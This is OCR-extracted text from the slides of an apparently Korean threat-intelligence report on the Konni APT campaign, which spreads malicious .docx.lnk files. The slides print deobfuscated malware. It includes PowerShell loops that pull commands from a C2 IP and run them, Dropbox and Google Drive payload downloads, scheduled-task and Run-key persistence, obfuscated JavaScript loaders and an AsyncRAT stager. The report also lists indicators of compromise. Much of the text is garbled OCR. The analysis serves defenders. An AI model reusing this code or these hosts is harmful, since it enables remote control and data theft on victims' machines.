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Emmy Byrne

20241003 20134.docx.Ink

aaecb10ca453bec3bb95bedac6d773a593ea984509845eb7b15d8894d

4b385ad
*206.206.127.152:9002
*206.206.127.152:7031
*206.206.12715

e ' #DPR

|-+ -

"1\n1035 4";

S$dvecvse = "70311

StcpConnection = New-Object System.NetSockets.TcpClient($sdvdet, $dvcvse)
StcpStream = $tcpConnection.GetStream()

Sreader = New-Object System.IO.StreamReader($tcpStream)

Swriter = New-Object System.O.StreamWriter(StcpStream)

Swriter AutoFlush = Strue

$cmd = $reader.ReadLine()

Stmpz = "c#programdatatmex.ps1”
Scmd | Out:File Stmpz
power i1 il ep bypass -f Stmpz

+el Stmpz";

yotoEe =703
function MuTxdonewd

param(

[parameter(Mandatory = $true)][string] $sefnceviD

ty
$SMusnciuhwefx = New-Object System.Threading Mutex -ArgumentList 'false’, SsefnceviD
if (-not SMusnciuhwefx WaitOne(2000))
{

Exit

b

refurn SMusnciuhwefx

Sub sefdbse(p_Tar):
oiwjoeijofij="fsegrd4tdfg"
End Sub:
ieciwn 9834
WScript CreateObject("WScr'+"ipt She™+°II"):
mijb="soeif 92y379h8hgb’
pow_cmd = "p"+"ower"+"shell -ep byp"+“ass com"+"mand $fn="C:

WWProgramDataWwxS023.tmp';Sd = Get-C"+"ontent $fn; Inv"+"oke-Exp"+"ress"+"ion $d:"

sh.Run pow_cmd, 0, true:

pow_cmd = "power"+"shell -ep byp"+"ass -comma’+"nd $fn="C
WWProgramDataWwtmpzdat';Se = Get-Co”+"ntent $fn; In"+"voke-Expr*+“ession Se;
sh.Run pow_cmd, 0, false:

uuy=igytwampelkspoef

Wscrip - 56 5(2000)

Set smicve'= CreateObject("Scri"+"ptingFileSyst'+"emObject’).
smicve DeleteFile("C

acosador

#APT #Malw

file name: 20250211_03837.docx.Ink

sha256:

5967513540ad610ddbbc12412437cf58dd10341da7d8d016932e74c324

dfa2a

download url:

hxxps://www.dropbox.com/scl/fi/cnfhxfOnc3qgxfklznh5na/zz)G_2.zip?

rikey=7t1et81enar4uvbb7nnk58m9b&st=2

uu
I
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w
u
r

yqSf2RbRaJch

i
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= Virus Total &9l Zxa}

ba52ab256079f80fdf9c47bf5fc215fed99ed1659¢c976¢C..

2024-10-26 2024-10-26
S 20241007_46790.docx . Lnk

08:55:11 08:55:11
Ink  detect-debug-environment  long-sleeps

dfeec1052063d6dc69cc6d23cafcd262cd06899554F5eb...

2024-10-11 2024-10-13
@ () 20241011_64246.docx. Ink

10:54:44 12:06:59
Ink  long-command-line-arguments  detect-debug-environment

11ac6151182db3b41f9022b4e4b8a388e982f7fece3a34..

2024-10-16 2024-10-16
S 20241013 _24569.docx. lnk

11:59:35
Ink  long-sleeps  url-pattern  long-command-line-arguments

52b8e4da732d06000e29d7609668021be8cc99fccd9ofb4...

2024-10-15 2024-10-15
& ) 20241015_56801.docx. Lnk

13:12:30 13:12:30
Ink  url-pattern  long-sleeps  long-command-line-arguments

f4c4168f8b27279b00b718b02392d5dfel766c342a189a..

2025-01-14 2025-01-14
& 20250114_27263.docx. Lnk

05:16:33 05:16:33

Ink  long-sleeps  high-entropy  checks-cpu-name
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o M

$owxe;"cd123timUegi”[9. 2]; $OWX6= = Um\/t b 3 Z l =

$kmgql="ag6M2IgOWZO1ULkqw"[13..2];

$emu2="yaYOFGZtFmcn9mcwxFXcef"[18..2];
$hjm3="vy=wOnEzcw5CZcxVdim"[15..2];

$ryed4="vw=yabce"[2..2];
$gikoS5=$owx0+$kmgl+$emu2+$hijm3+$ryes;

$kme2+=$giko5 -join '';
$g196="ks2cnASPgcGl7cSYOFGZtFmcn9mcQxFX6MOJgQULgcGdkACaOFGU
$yab7="gjmu9WazIXZWRnblIncINEXzd3bkdSPj9WckszIm9CIiAXb@5iM3
&("{1}{2}{0}"-f'eM','S"', "Et-It"') vArIAbLe:c75HSG ([tYPe]("
&("{1}{2}{@}{3}" -f 'ari',’'Se',"'t-V','able"') -Name ("{0}{2)
.("{2}{0}{1}" -f 'et-vVari','able','S') -Name ("{@}{1}" -f'm

J

("{0}{2}{1}{3}"-f 'I','-Expressi’', 'nvoke’,'on') ${MO Q00};

2 ¢ ENKI
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$kmo2=@();
$owx0="cd1lZ3btVmUegi”[9..2];
$kmgl="ag6M2IgeWZO1lULkqw"[13..2];
$emu2="yaYOFGZtFmcn9mcwxFXcef"[18..2];
$hjm3="vy=wOnEzcw5CZcxVdim"[15..2];
$ryed4="vw=yabce"[2..2];
$gikoS5=$owx0+$kmql+$emu2+$hjm3+$ryes;
$kmO2+=%$giko5 -join '‘;

$g1q6="ks2cnASPgcGl7cSYOFGZtFmcn9mcQxFX6MOJgQULgcGdkACaBFGU
$yab7="gjmu9WazIXZWRnblInc1INEXzd3bkdSPjO9WckszImSCIiAXbO5iM3
&(”f1]{71191”-F'eM','S','Et—It') vArIAbLe:c75HSG ([tYPe]("
&(" {1} ‘ari', 'Se','t-V','able') -Name ("{©}{2}
(”f2J« "1 1 ‘et-Vari', 'able’,'S') -Name ("{@}{1}" -f'm
‘,'-Expressi’', 'nvoke’, 'on') ${MO Qee};
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$hpqg2="vyUuS8USueWZeNXeT
$gijm3="ye=0QDK@Qf7kCMyg
$opgs4=%$uaje+$gjnl+$hpg

$kme2+=$opgqs4 -join '‘;
& $opemcb5 $kme2;

Set-Item Variable:c75HSG ([type]("Convert"))
Set-Variable -Name opemcb5 -Value ({
param($UVIW95
foreach($Cei26 in $UVWI5
Set-Variable -Name krx78 -Value (
$C75Hsg: :FromBase64String. Invoke($Cei26)

)
Set-Variable -Name mog@® -Value (-join ($krx78 -as
Invoke-Expression $moqee

14 ¢ ENKI
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» ZAIE 2l 2 EAIE Q2 E HHH KX
= Invoke-Expression -> Write-Output

pattern =

)

re.compile(
PN INSE ([ ] +) "\ sk—TA\sk{{7:\" [2\ ' ]+\ "\sx(?

def process_match(match):

match.group(1)
match.group(2)
\'([*\']+)\'"', args_str)
&("{1H
try: &(Hr 14
computed = fmt_str.format(xargs) 2
except Exception as e:
computed =

fmt_str =
args_str =
args = re.findall(r

2}
0}

- ("{
- ("4

None

1)s

print("Computed:", computed)

if computed == "Invoke-Expression":
= len(args)
target = "Write-Output"

o=
Ls =

2

‘et-Vari',

"Et-It') vArIAbLe:c75HSG
‘,'t-V','able') -Na
'S') -Name ("{

‘nvoke’,

‘ari', 'Se
-1 (-

‘,'-Expressi’, ‘on')




Set-Item Variable:c75HSG ([type] ("Convert"))

Set-Variable -Name opemcb5 -Value ({
param($UVW95)
foreach($Cei26 in $UVW95){
Set-Variable -Name krx78 -Value (
$C75Hsg: : FromBase64String. Invoke($Cei26)

)
Set-Variable -Name moq@@ -Value (-join ($krx78 -as [char[]]))
Write-Output $moq@0

16 ¢ ENKI



3 check _psl_result.py
Remove Item 'c:\\programdata\\d.psl';

$el = {
$du = "htt"+"ps://www.drop"+"box.com/scl/fi/cnfhxf@nc3qxfklznh5na/zzJ6_2.zip?rlkey=7tlet81enar4uvbb7nnk58mob&st=2dfarfvk&dl=1";try{$tg = "c:\\programdata\\gs.zip";.("{2}{3}{0}{1}"-f ‘ebRe','quest','?nvo','ke—w‘)

${d'U} -OutFile ${tG};Expand-Archive -Path $tg -D 'C:\\Programdata';$g = 'sch'+'tasks /create /sc minute /mo 2 /tn AGM'+'icrosoftE'+'dgeUpdate'+'Expanding'+' [7923498737] /tr "ws'+'cript //e:ja'+'vascr'+'ipt //b C:\\Pr
'+'ogramData\\83972.tmp" /f';cmd /c $g;$kicl="ws\\system'+'32\\wscr'+'ipt.exe //b //e'+

‘ijavascr'+'ipt C:\\Progra'+'mData\\83972.tmp" /f';$qoc="dows\CurrentVersion\Ru'+'n" /v GUpdat'+'e2 /t REG_SZ /d "c:\\windo'+ $kic
1; $tmp2="KCU\Software\Mi'+'crosoft\Win'+$qoc;$untiy = 'r';$tmpl="eg add "H';$tmp3=$tmpl+$tmp2; $trnl=$untiy+$tmp3;cmd /c $trnl;del $tg;}catch{};

while($true){
$u = " Inv"+"oke-Exp"+"ress"+"ion (Get-C"+"ontent C:\\Prog"+"ramData\\G3892.tmp);";powershell —ep bypass -c $u; Sleep(120);

¥

[runspacefactory] : :CreateRunspacePool(1, 5);$rp.Open()
[powershelll] reate();
.RunspacePoal = $rp;
.AddScript($el);
$JobObj = New—-Object -TypeName PSObject —Property @{Runspace = $pl.BeginInvoke();PowerShell = $p1;}

$Usbbc=('206.206.127.152"','7628",'7032"');
$Usbbc [0];$p = $Usbbc[1]; $tc = New-Object System.Net.Sockets.TcpClient($r, Sp);$strm = $tc.GetStream();$q=New-Object System.IO.StreamReader($strm);$z = '';while ($strm.DataAvailable -or $q.Peek() -ne -1
q.ReadLine(); $z += $t1;}if($z.Length —ne 0){$b=[Convert]::FromBase64String($z);$t="c:\\programdata\\k.zip';Set-Content -Path $t -V $b —-Encoding Byte;Expand-Archive -Path $t -D 'C:\\Programdata';del $t;$kicl=
'ws\\system'+'32\\wscr'+'ipt.exe //b //e'+':javascr'+'ipt C:\\Progra'+'mData\\N9371.js" /T';$q0oc="dows\CurrentVersion\Ru'+'n" /v SUpdat'+'e /t REG_SZ /d "c:\\windo'+ $kicl;$tmp2="KCU\Software\Mi'+'crosoft\Win'+$qoc;$u
ntiy = 'r';$tmpl='eg add "H';$tmp3=Stmpl+$tmp2;$trni=$untiy+$tmp3;cmd /c $trnl;$g = 'sch'+'tasks /create /sc minute /mo 2 /tn AM'+'icrosoftE'+'dgeUpdate’+'Expanding'+' [3829710973] /tr "ws'+'cript //e:ja'+'vascr'+'ipt
//b C:\\Pr'+'ogramData\\3824 tmp” /f';emd /c $g;$strm.close();}}catch{};while($true){r = sUsbbc[0];$p2 = sUsbbc[2];$tc2 = New—Object System.Net.Sockets.TcpClient($r, $p2);$st2 = $tc2.GetStream();$r2 = New-Object Syst

em.I0.StreamReader($st2);$c = '';while ($st2.DataAvailable -or $r2.Peek() -ne -1 ) {$t2=$r2.ReadLine(); $c += $t2;}if($c.Length —ne 0){$TSbbcnvl = "c:\programdata\tmps2.psl";$c | Out-File $TSbbcnvl;powershell -ep bypa
ss —f $TSbbcnvl;del $TSbbenvl;}Sleep(20);}

17 ¢ ENKI
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AMicrosoftEdgeUpda
teExpanding[792349
8737]

HKCU\...\Run\GUpdatez

C:\Windows\System32\wscript.
exe /b /e:javascript
C:\ProgramData\83972.tmp

19 ¢ ENKI

wscript /e:javascript /b
C:\ProgramData\83972.t
mp
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He|X|AER| S5 38243.tmp N9371.js

tmps2.ps1

C&C Server

AMicrosoftEdgeUpda
teExpanding[382971
0973]

HKCU\...\Run\SUpdate

C:\Windows\System32\wscript.
exe /b /e:javascript
C:\ProgramData\N9371.js

20 ¢ ENKI

wscript /e:javascript /b
C:\ProgramData\38243.t
mp
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function xby40() {
var Nnudybgfse =
"9701Xs sc—-mo+\"m\"\"a+\"a",
"5812Xn"'=:C\\\\rPgonrd $f",
"6438Xa\\\\3G98.2mtapmDat",
"8604Xd= G teC—+\"'\";$",
"6694Xn tf$;nI vno\"nte",

u Z!'%'l ﬁa‘“%E‘IOII _O_I-SH =155 TXKk=exE\ "p\"+er+s\: 0",
"1735X\"0i nd$\";  ;sf\"+",
- l.-_l'%gl-7|- ﬁ-gEl_l ﬂ-ﬂ\- "1846XtoilnR.nuw(uinc",

"6478Xf ,)0};acctnhCon",
"6368Xr{r()e}",

"8780X{v raf nutctiry",
"2375X=n weA tcvioenl",

"7204Xc (tW\"cSirtpX.0bje",
"9431X1\"1;)v raw Sihe",
"7074Xn=Ff\" \"p\"+woneCo",
"5497Xhle le- pybrp\"+\"s"

1

xby4@ = function () {
return Nnudybgfse;

I

return xby40();




02 A M =4

o 1110

6478Xf,)0};acctnhCon
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3. X = 1H}0| E Cf| O] E{ 2}
OfX|2} 1H}O| E | 0| E{ w1 &t

25 ¢ ENKI




02 33 A 24

3. X = 1H}0| E Cf| O] E{ 2}
OfX|2} 1H}O| E | 0| E{ w1 &t
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unction (Smoencbv, rgvjI4g) {
dmk398xnefyH = PSkkefoi98feh;
var agent = Smoencbv();
var n = agent.length;

while (true) {
try {

k = parseInt(dmk398xnefyH(@x1da)) * (parseInt(dmk398xnefyH(@x1df))) / 0x5;

if (k === rgvjl4g) {
break;
} else {
for (1 =0; i < n; i++) {
str = agent[il;
match = str.match(/\d+/g);
m = match[@].length + 1;
tmp = str.substring(m);
var len = tmp.length;
if (len <= 2) return;
var k = tmp.substring(2) + tmp.substring(@, 2);
t = k.charAt(0);
tt = k.charAt(len - 1);
tmp = tt + k.substring(1, len - 1) + t;
var res = match[0] + 'X' + tmp;
agent[i] = res;
console.log(agent[i])

agent['unshift'] (agent['pop']l());
1
J

} catch (_0x49299e) {}

} (xby40, 12172939.2));

oo~NOOLTAE WNMEOS

"8780Xtry{\tvar functi"
"2375Xonl= new Active"
"7204XX0bject (\"WScript."
"9431XShell\");\tvar wi"
"7074XnConf= \"p\"+\"owe"
"5497Xr\"+\"shell -ep byp"
"9701X\"+\"ass —com\"+\"ma"
"5812Xnd $fn='C:\\\\Progr"
"6438XamData\\\\G3892. tmp"
"8604X"';$d = Get-C\"+\""
"6694Xontent $fn; Inv\""
"1557X+\"oke-Exp\"+\" res"
"1735Xs\"+\"ion $d;\";\tf"
"1846Xunctionl.Run(wi"
"6478XnConf, 0);}catch"
"6368X(err){}"




= LSS} oliAE 215 FHo

= Wscript.Shell 2EHE 0|23} HEof A3

~ functionl = new ActiveXObject("WScript.Shell");
var winConf= "powershell -ep bypass" +

" —command $fn="'C:\\ProgramData\\G3892.tmp"';" +
"$d = Get-Content $fn; Invoke-Expression $d;";
functionl.Run(winConf, 0);

} catch (err) {}
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$rr99=@();
$acg0="0sJ3M2wWanFTLWMTMwcTOzY jM5UTMiASPgQWS
$msyl="uwyicURrpVciFTMuJGTwFWS@OR3UI1iY09kMOk
$imp2="ae lHU1IXS5wULGANTTFVQHFUQSFUSZd2QyVTe
$gow3="bc=sjIBNONYE]jZSp1lbZRGTh1HZV1zcEZWUatG
$psvad=%$acg0+$msyl+$imp2+$gow3;
$rr99+=%$psvad -join '';
$iqs5="wya00VmcjV2ck@Dd1J3Y IN3X05WZpx2YgACIg
$koq6="bgkInZ1IJHIKOQTKOAIgACI7cib1lt2b@9FazVm
$vwy7="ceFIk9Ga@VWTtAiIuV2avR3LOY3LygGd1lF2bv
SeT-iteM ('VaRIAb'+'LE:'+'Qk'+'yr'+'Z') (
&("{0}{1}{2}"-f'Set-V','a', 'riable') -Name
("{2}{1}{3}{0}"-f'variable','t','Se"',"'-"') -
&("{1}{0}{3}{4}{2}" -f'o','Inv', 'xpression’,
)
$afk8="em9GdTfN3cIN2Yh5ib1t2bURWZoNXZyZWZyRCI
$mmm@=""mm=0nCNIib1t2bUN3cIN2YhRCIyVmchVmQiAS
$mmmml=$iqs5+$koqb+$vwy7+$atk8+$mmmo;
$rr99+=$mmmml -join '"';
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uuu_2025_02_11_15_08_52_Result_lo...
uuu_2025_02_11_15_10_12_Result_lo...
uuu_2025_02_11_15_10_17_Result_lo...
uuu_2025_02_11_15_10_20_Result_lo...
uuu_2025_02_11_15_10_42_Result_lo...
uuu__2025_02_11_15_10_56_Result_lo...
uuu_2025_02_11_15_12_18_Result_lo...
uuu_2025_02_11_15_12_20_Result_lo...
uuu__2025_02_11_15_12_25_Result_lo...
uuu_2025_02_11_15_12_46_Result_lo...
uuu_2025_02_11_15_12_59 Result_lo...
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» Base64= 2I3ACIEl 22X f|0|E]
«» LIESIOEE
$pxF="DQpGAW5j dGLlvbiBNb2NuZG1zIHsgDQpwYXIhbSGNC Lt TdHIpbmdd] FVSSTOkbnVsbC
$hik="PLkNvbXByZXNzaW9uLkNvbXByZXNzaW9uTWOkZV@60kR1Y29tcHI 1c3MpOWOKICAGIC

$1lno="AgICB1lbHN1laWYoJFBhdGggLW5LICRudWxsKQOKICAgIHsNCiAgICAgICAgW@AJI5dGVbX
$gsv="17DQogICAgICAgIGZvcmVhY2ggKCRtZXRob2QgaW4gJHR5cGUUR2VATWVOaG9kcygpK

$ybeh=$pxf+$hik+$Llno+$qsv;

$bytes = [Convert]::FromBase64String($ybeh);

&("{2}{0}{1}"-f 'et-V','ariable','S"') —Name ("{1}{0}" -f'es','r') -Value
("{2}{0}{1}{4}{3}"-f'k", 'e-Ex"', "Invo', 'ression', 'p') ${r eS};
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"name": "rt_10_dummy_0206.tmp",
"mimeType": "application/octet-stream",
"size": "11917",

"createdTime": "2025-02-06T14:28:40.70772",
"owners": [

f

"kind": "drive#user",

"displayName'": "andreytony0ol",

"emailAddress": "andreytony@@l@gmail.com",

"permissionId": "17628116675428814843",

"photoLink": "<https://1lh3.googleusercontent.com/a—/ALV-UjU7c10Rb7y7XU9dR2x1xcjqWmLDym-Ty65ExsrPiilJyhgY9WA=s64>",
"me":
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Assembly Explorer it w X Program

4 7 Ly 0206 (1.0.0
4 88 v 0206.exe
[ = PE
b =B Type References
b =B References
P Bl Resources
| {} .
b %%, <Module>
4 {} BuandRange
b #3

4 %3 program @02000006

b Bl Derived Types

e Ta Tt ot ot o
e U AU

P {} BuandRange.test_pack
b {} Lv_0206 Properties
1.0.0.0)

public woid Maind{strinal] args)
{
string ip = "7,
int port = GBGOEG;
bool flag = args,
if (flag)
{
ip = aras[0]:
try
{

port = int.Parse(args[1] )

catch (FormatException)

port = GEOG:

bool flag2 = args.
if (flag2)

1
ip = args[0]:

Program.start{ip, port);




02 33 A 24

= "206.206.127.152";
= 6606;
if($args[@] -ne $nu
{
$ip = $args|[o]
}
if($args[1] -ne $n
{
$nOncu = $args[1]

Mocndis -URI "https://drive.google.com/uc?expori .y

5 41'@ s, "X4SYP-811qz5xNG16j2Q8g7"

46

-IP $ip -nOncu $nOncu;
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s test_pkt ! |Enumerable

ring value)

name = value:
this.name.ToLower

this.children,

hildren[i].Cleat

return test_pkt:

public class MsgPack : IEnumerable

string name;

string lowerName;

object innerValue;

MsgPackType valueType;

MsgPack parent;

List<MsgPack> children = new List<MsgPack>();
MsgPackArray refAsArray = null;

private void SetName(string value)

{
this.name = value;
this.lowerName = name.TolLower();

private void Clear()
{
for (int i = 0; i < children.Count; i++)
{
((MsgPack)children[i]).Clear();
}

children.Clear();

private MsgPack InnerAdd()

{
MsgPack r = new MsgPack();
r.parent = this;
this.children.Add(r);

return r;
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public bytel] makebytearrawv()

byte[] result:

uzing (MemorvStream memoryStream = new MemoryStreamf ))

this.Encode2St reami memorySt ream ).

bytel[] array new bytelmemoryStream. (
memorystre aL:

MEmnory s v, O, {intmemoryStrean.
result = i '

return result:

public bytel[]l Encode2Bytes()
{
using (MemoryStream ms = new MemoryStream())
{
Encode2Stream(ms);
bytel[l r = new bytel[ms.Lengthl;
ms.Position = 0;
ms.Read(r, @, (int)ms.Length);
return Zip.Compress(r);
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ot AsyncRAT
A|-Ei|0||k| 2tolst AsyncRAT

iin ="aragsol;

try

[
!

1
I

port = int.Par: ’—'arJS“]

catch

1

{(FormatException) catch (FormatException)

ip = args[0];



| duplikyservjc.cloud/dn.php?name=[%computer name%]&prefix=tt

D159.100.13.216

‘ 547857.c1.biz/dn.php?name=[%computer name%]&prefix=mm

kmdagj1.c1.biz/dn.php?name=[%computer name%]&prefix=tt

gjdow.atwebpages.com/dn.php?name=[%computer name%]&prefix=tt
4275b0d3c4b6f3a165984b862f4890df14cc346013a22412f7288c9fdc65690

.. duplikyservjc.cloud

@ 547857.c1biz

&

.' kmdajl.cl.biz

.. gjdow.atwebpages.com

@. Konr@mpaign Distributed Via Malicious Document
g. Konni Campaign Distributed Via Malicious Document
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@. E;%dg&ﬂﬁgl@gof Konni Threat Universe
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&

lnk

20250211_03837.docx.Ink
(Starting point)

Metadata

Creation date

Access date

Modification date

Target path

Icon location

MAC address

Machine id

Target relative path
Command line arguments
Disk volume serial number
Local path

LNK Flags

Header

File size
Hot key
Show window

DLT Properties

Birth droid file id
Birth droid volume id
Droid file id

Droid volume id

2023-11-15T13:04:01.2554687
2023-11-15T13:04:01.259439Z
2023-11-15T13:04:01.259439Z

My Computer (Computer) : C:\Windows\System32\mshta.e:
.docx

50:b7:¢3:96:87:f1

jooyoung

.\..\..\Windows\System32\mshta.exeZ3 1z
javascript:v="-Encoding Byte;sc ";s5="a=new Ac"+"tiveXObj
26d3-6e63

C:\Windows\System32\mshta.exe

HasTargetlIDList, HasLinkInfo, HasRelativePath, IsUnicode, |

43520
(0+0)
SW_NORMAL

eacbf740-7d62-11ef-bf18-50b7¢c39687f1
67abdlaa-3d2a-42ab-bf95-7b591d0f4b1f
eacbf740-7d62-11ef-bf18-50b7c39687f1
67abdlaa-3d2a-42ab-bf95-7b591d0f4b1f
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20240930_84382.docx.lnk

20241007_46790.docx.lnk

20241013 _24569.docx.lnk

20250114 _27263.docx.lnk

20250206_68013.docx.lnk

OFDA-1026 N/A N/A

2CAF-875E 14_g2_itl 1¢:99:57:1d:d4:d0
2CAF-875E 14_g2_itl 1¢:99:57:1d:d4:d0
26D3-6E63 jooyoung 50:b7:¢3:96:87:f1
AEC1-8832 20N 24:f5:aa:e4:c0:c8
D8F2-338C cy-pl d0:50:99:91:cd:56
CE8E-6630 72074 a8:a1:59:a9:7b:fe
9038-4211 desktop-0jpcpit e0:d5:5e:8b:fb:d6
26D3-6E63 jooyoung 50:b7:¢c3:96:87:f1
26D3-6E63 jooyoung 50:b7:¢c3:96:87:f1
26D3-6E63 jooyoung 50:b7:¢3:96:87:f1
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Properties
Size
Modified
Type
Uploaded by

Date uploaded

476 KB

2025. 2. 14. % 1:47
ey

Widy Ket

2025. 2. 13. 7 12:06

4.68 KB

3/31/2025, 6:09 PM
File

Evo Jex

3/24/2025, 7:28 PM

4.64 KB

2025.3.10. 2% 6:06
ke

Widy Ket

2025.2.19. 2% 12:20

4.68 KB
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o

Evo Jex

2025.3.24. 2% 7:28
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https://drive.google.com/uc?export=download&id=1E3Bk8mv@IT3wIJH6RReqlzGZeeD6goDMr
c:\\programdata\\eee 214.txt

https://drive.google.com/uc?export=download&id=17znAFvAjRtB9c9-zzQkpcKhOVAOH7Aeb
c:\\programdata\\eee.txt

https://drive.google.com/uc?export=download&id=18UM8MLzVsUuno7wZkq5uVqTvLKx5_bVR
c:\\programdata\\eee.txt

https://drive.google.com/uc?export=download&id=10n7VSqFiuKGZBThE7Y1luvK-Qhc9K4c3b
c:\\programdata\\eee.txt




« URLE F£51L] 404 olz] 24

® @ Error 404 (32 % ¢ig)1 5 +

c °s drive.usercontent.google.com/download?id=1E3Bk8mv0JT3wJH6RReq1zGZeeD6goDMr ¢ 3 ® i} .

Go gle oo la

e
1~"T0

404. 257+ LMHALICE Y

&g 0
Q&5HAl URLE M0l &2 4 gLt C12 glole stolg x5
A ol&L|C) S
T A= . J / \

tj o o y ¢

63 ¢ ENKI




~/Desktop/malware_script
> python3 google.py
og otELE AO: 403, {
"error": {
"code": 403,
"message": "This file has been identified as malware or spam and cannot be downloaded.",
"errors": [
{
"message": "This file has been identified as malware or spam and cannot be downloaded.",
"domain": "global",
"reason": "cannotDownloadAbusiveFile"

X +

s drive.google.com/file/d/1IE3Bk8mv0OJT3wJHERReq1zGZeeD6goDMr/view?usp=sharing big

Google Drive

Z|SEILICL Google AH|A oft2 9IHISHT| wiR0)| e 50| YMAE 4 giELICE

Of F=x|ofl Chst XpAISt HE = Google Drive THMES FZFSIH Q.
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